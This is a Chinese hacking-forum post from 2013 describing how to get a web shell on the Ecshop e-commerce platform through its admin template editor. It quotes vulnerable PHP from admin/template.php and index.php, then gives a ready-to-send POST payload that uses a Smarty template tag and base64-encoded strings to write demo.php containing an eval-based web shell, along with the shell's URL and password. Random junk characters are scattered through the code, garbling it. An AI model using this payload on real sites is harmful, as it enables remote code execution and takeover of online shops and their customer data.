找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2436|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
3 ~' [* X3 Z) H- [
5 |9 X+ M: n* k4 z6 y) \# t而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
) Q. k1 o" O0 a) A但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
, g) U' z# t2 Q5 ~. iadmin/template.php! O4 [% b2 O3 ?, R5 t5 c% }. }# ]

8 ~/ r/ t' k* j. t& l! G1 if ($_REQUEST['act'] == 'update_library')
0 q- I  O+ p4 H
8 H3 a# w6 [. l8 m$ r* G( R5 V2   
+ E, z0 }/ g' ^: {; X
3 ^# q7 C$ U0 L) d" N6 ]1 ]3 {
" m) s. ]- f7 w: R8 C9 s8 Z
( a8 K- d* C9 Q4     check_authz_json('library_manage'); 8 r# w' C* K$ V
2 g% d6 i2 D" A/ p  h. J# Z
5   ' W) B; s# }: w& ]. j& e3 ]
* F$ A" N* K! c8 R! _
6     $html = stripslashes(json_str_iconv($_POST['html']));
6 K# i- ]; K, @2 c1 o8 H' p2 \* Z* S# K
7   4 P6 [3 B5 G+ |9 y, J/ `- p

; I. f* n0 g' t4 T2 T" X/ ?" }8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
4 y  @7 y% [* \) B
" J7 l: ~1 |1 f+ q9   
% I) v7 ~7 a5 H
* U& j& U4 ^, y% [10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 : _+ Q9 i) @2 F, z, j9 R& b
& ^  B/ \" _3 R* _
11   % u& J+ X. N3 v' L

) ~0 A# h) R5 l8 [: \" G2 |12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); ) C! f/ G& e# c: l; D) ]
3 _3 Y% k) x" W4 b4 _
13   $ w! @5 v3 T5 }, y7 K+ G% E) x
8 F# G9 i; U" r  A3 Z3 q
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 1 ^& W  b6 n5 i2 S2 s& c
3 {; w$ ~+ s. ^+ `6 D. U( q; q& q
15     {
" r, P& n" Y9 ~  z; n/ o5 g2 F% p% }# P9 H) H! i+ B6 p* e* i
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 2 }3 b5 O/ F' z1 ?8 C

: Q; A: C  v; M17         make_json_result('', $_LANG['update_lib_success']); 1 W4 g0 K4 Z! H. |) |5 f' p
: M' P4 [7 H2 R4 r3 Q* m! ^
18     } . F9 g0 \+ P" }& b

1 P3 e6 A' O) q! H/ k19     else 0 ~  T. s# B) @, w

- h- K0 ^2 Y! l# f, _20     { ) \) B+ f" l& s/ j* q& p& p
1 r& o: _! x3 I& J* v
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
7 _1 D4 g# f) y6 ~4 V5 t/ |. _) ^( N! [9 p  h+ Z
22     } ' Q1 p5 y8 _. g( G

7 F: A% @; K0 M( W1 F; s' R" ]23 }
% J# ?- q" s* L" X" h8 e* w- S2 I% R9 V3 s" V6 o% `
那么找个比较方便调用了模板的文件% m* B3 j8 @: n8 ~. Y* r# A8 B- u' }
index.php  c' h3 g+ C+ H- z: M
* ?1 o3 N' U+ |- M& ^1 G" w% H2 Q
1 if ($act == 'cat_rec') " o' k9 f3 O! @/ m4 n8 b4 n
- _' f, g/ m- c* m$ t' e
2   
+ s. I! B' ~$ a( s+ L2 s
: s3 ^. \, y1 \! i% @( N! u( l3 { ( O5 _7 f& I! ?9 D5 w9 ?: n
  u% Q/ P- G: {  }1 D
4   3 h1 ~% M, N- v1 J% x0 X5 ~8 G" ^

# @4 s5 ^0 h0 e% c/ G5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); , n# S6 }$ d  ]# N( K0 B9 r, a
/ `: e* ]' f1 o$ H
6   . m2 R$ z' l/ E; D

2 S9 G1 @  y* C8 A% {1 S7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';   K$ q& g, C6 f

0 n. D* P1 I- T  U: D8   
3 y5 c0 W% q5 d. Q' B: P' G: N2 b5 o/ r
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; 7 S* N+ |8 s: b& l5 j
- F6 i9 a3 ~1 m2 F) g4 p, m1 s! [
10   5 b6 w/ ~0 g% X! s

# P. n6 D0 z$ H! ]; Z6 Y11     include_once('includes/cls_json.php');
/ X! z+ G4 H; |% i- n
; ^) r# H& P: r12   
) f: I  Y) X) D+ B% P+ p0 r/ `% u- H! k
13     $json = new JSON; 8 r; N' p$ v, n+ Q' d' E
6 X1 A  N" @- q
14   
# y* Q# p1 o; D( X+ j3 Z) T' U( T8 N- S8 p; k
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
, ?$ p9 b+ a  ~3 j2 G6 i
6 o2 d% i6 a1 O  U: G16   ' u# p/ H, b, G0 |

+ z4 g, P8 ~2 {$ G; C9 o17     $children = get_children($cat_id);
" O3 W$ m" y2 j4 S4 j
3 [. {$ ]' F1 w' y18   + q. j4 {, O6 S+ G5 x+ z4 r0 b0 V$ c( k

  O( Q4 k) y% P! t! p" B  H, y19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 . c0 B5 t7 L1 F' P) s

" S- Y6 r; z: Z7 n2 b) `) E20   
2 X  l2 X! |& F6 b/ o
" @: l* N5 `7 M21     $smarty->assign('cat_rec_sign', 1);
3 \6 n$ L3 T) p# Q; d/ |1 P' {
, n7 l2 H# {1 O. }22   
* Y1 f6 j0 ]1 p! z/ g- N7 G0 ^$ S6 z& v
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
  r& ], v; T' j9 f) n& P$ A3 a* D
2 X7 X* P+ ^$ o% g9 A24   4 F) d9 n) d# y, M6 n& p  R+ T6 S
; E  z/ @% }& D3 \7 x* u* {, B
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
, T0 `) D, K; H1 ?5 V/ ~7 Z) s% T0 r% l  ?' k, V0 w& u
26   
) I3 H! c/ W* b8 S0 @/ D+ P+ E: |, p! e7 K7 @
27         echo $rec_array[$rec_type]; $ P+ x$ v1 }& q. y

6 _; R% B( \/ S8 E28   
9 u# e( B+ A! k. Q9 v# |
) q3 C+ W9 ]1 D# t8 S/ r* e29     die($json->encode($result)); / T7 k. f& @; l' q' K! u" O. R
* A* }# Q' O! s" y) J5 y
30   
( J4 L$ M# Q# G- z* B$ r" O! f. G+ Z9 d& @: r5 i/ D. K9 B
31 } & O! M! k+ z2 T* R+ m4 T0 f5 Y5 K
7 W- _, {( Y* d- k
那么就有利用方法了  f+ x* w7 D+ m9 ^) q0 j
post包到http://localhost/ec/admin/template.php?act=update_library
2 f( G6 r, g) u/ k$ q8 q) I1 K; F, }, l) HPost内容:9 m& W# C0 ]& J7 ]. B- n
: s" z1 Y: ~  t7 D+ W% U1 @+ c1 y
+ r0 m1 ?' k( Z. I7 J
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
# H+ {" [, z6 }% W  E) f% e; D
' e8 I" z7 Z- R& t% X然后访问http://localhost/ec/index.php?act=cat_rec2 U+ w% S5 K% \, m
7 G& Z1 U) C: f6 }
shel地址:http://localhost/ec/demo.php  K. `2 t4 y) ^
密码c( Z, c! h7 r# s8 c/ }* X

, e# |3 F) d# ~+ P" k; Q, M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表